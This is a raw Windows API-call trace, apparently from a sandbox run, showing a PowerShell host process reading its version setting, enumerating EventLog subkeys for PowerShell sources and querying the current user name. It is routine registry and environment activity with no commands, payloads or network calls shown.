[0040.379] RegQueryValueExW (in: hKey=0x304, lpValueName="StackVersion", lpReserved=0x0, lpType=0x16e6e0, lpData=0x365310, lpcbData=0x16e6dc*=0x8 | out: lpType=0x16e6e0*=0x1, lpData="2.0", lpcbData=0x16e6dc*=0x8) returned 0x0
[0040.380] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.380] GetLastError () returned 0xcb
[0040.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.383] GetLastError () returned 0xcb
[0040.389] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e648 | out: phkResult=0x16e648*=0x308) returned 0x0
[0040.389] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x16e6b0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e6ac, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x16e6b0*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e6ac*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.390] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x0, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.390] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x1, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.390] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x2, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x3, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x4, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x5, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x6, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x7, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x8, lpName=0x365310, lpcchName=0x16e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x16e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.391] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x324) returned 0x0
[0040.392] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.392] RegOpenKeyExW (in: hKey=0x308, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x334) returned 0x0
[0040.392] RegOpenKeyExW (in: hKey=0x334, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.392] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x338) returned 0x0
[0040.392] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.392] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x33c) returned 0x0
[0040.392] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.392] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x340) returned 0x0
[0040.392] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.392] RegOpenKeyExW (in: hKey=0x308, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x344) returned 0x0
[0040.392] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.393] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x5
[0040.428] RegOpenKeyExW (in: hKey=0x308, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x348) returned 0x0
[0040.428] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x0) returned 0x2
[0040.429] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x34c) returned 0x0
[0040.429] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e678 | out: phkResult=0x16e678*=0x350) returned 0x0
[0040.429] RegCloseKey (hKey=0x350) returned 0x0
[0040.429] RegCloseKey (hKey=0x308) returned 0x0
[0040.429] RegCloseKey (hKey=0x34c) returned 0x0
[0040.439] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e7c4 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e7c4) returned 0x1
[0040.440] GetLastError () returned 0x3
[0040.441] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e7cc | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e7cc) returned 1
[0040.473] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e62c | out: phkResult=0x16e62c*=0x354) returned 0x0
[0040.473] RegQueryInfoKeyW (in: hKey=0x354, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x16e694, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e690, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x16e694*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e690*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.473] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x0, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.473] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x1, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.473] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x2, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.473] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x3, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.473] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x4, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.473] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x5, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.474] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x6, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.474] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x7, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.474] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x8, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.474] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x358) returned 0x0
[0040.474] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.474] RegOpenKeyExW (in: hKey=0x354, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x35c) returned 0x0
[0040.474] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.474] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x360) returned 0x0
[0040.474] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.475] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x364) returned 0x0
[0040.475] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.475] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x368) returned 0x0
[0040.475] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.475] RegOpenKeyExW (in: hKey=0x354, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x36c) returned 0x0
[0040.475] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.475] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x5
[0040.477] RegOpenKeyExW (in: hKey=0x354, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x370) returned 0x0
[0040.477] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.477] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x374) returned 0x0
[0040.477] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x378) returned 0x0
[0040.477] RegCloseKey (hKey=0x378) returned 0x0
[0040.477] RegCloseKey (hKey=0x354) returned 0x0
[0040.478] RegCloseKey (hKey=0x374) returned 0x0
[0040.478] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e62c | out: phkResult=0x16e62c*=0x374) returned 0x0
[0040.478] RegQueryInfoKeyW (in: hKey=0x374, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x16e694, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e690, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x16e694*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e690*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.478] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x0, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.478] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x1, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.478] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x2, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.478] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x3, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.479] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x4, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.479] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x5, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.479] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x6, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.479] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x7, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.479] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x8, lpName=0x365310, lpcchName=0x16e6b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x16e6b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.479] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x354) returned 0x0
[0040.479] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.480] RegOpenKeyExW (in: hKey=0x374, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x378) returned 0x0
[0040.480] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.480] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x37c) returned 0x0
[0040.480] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.480] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x380) returned 0x0
[0040.480] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.480] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x384) returned 0x0
[0040.480] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.480] RegOpenKeyExW (in: hKey=0x374, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x388) returned 0x0
[0040.480] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.481] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x5
[0040.484] RegOpenKeyExW (in: hKey=0x374, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x38c) returned 0x0
[0040.484] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x0) returned 0x2
[0040.484] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x390) returned 0x0
[0040.484] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e65c | out: phkResult=0x16e65c*=0x394) returned 0x0
[0040.485] RegCloseKey (hKey=0x394) returned 0x0
[0040.485] RegCloseKey (hKey=0x374) returned 0x0
[0040.485] RegCloseKey (hKey=0x390) returned 0x0
[0040.485] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e620 | out: phkResult=0x16e620*=0x390) returned 0x0
[0040.485] RegQueryInfoKeyW (in: hKey=0x390, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x16e688, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e684, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x16e688*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e684*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.485] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x0, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.485] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x1, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.485] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x2, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x3, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x4, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x5, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x6, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x7, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x8, lpName=0x365310, lpcchName=0x16e6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x16e6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.486] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x374) returned 0x0
[0040.486] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
[0040.486] RegOpenKeyExW (in: hKey=0x390, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x394) returned 0x0
[0040.486] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
[0040.487] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x398) returned 0x0
[0040.487] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
[0040.487] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x39c) returned 0x0
[0040.487] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
[0040.487] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x3a0) returned 0x0
[0040.487] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e650 | out: phkResult=0x16e650*=0x0) returned 0x2
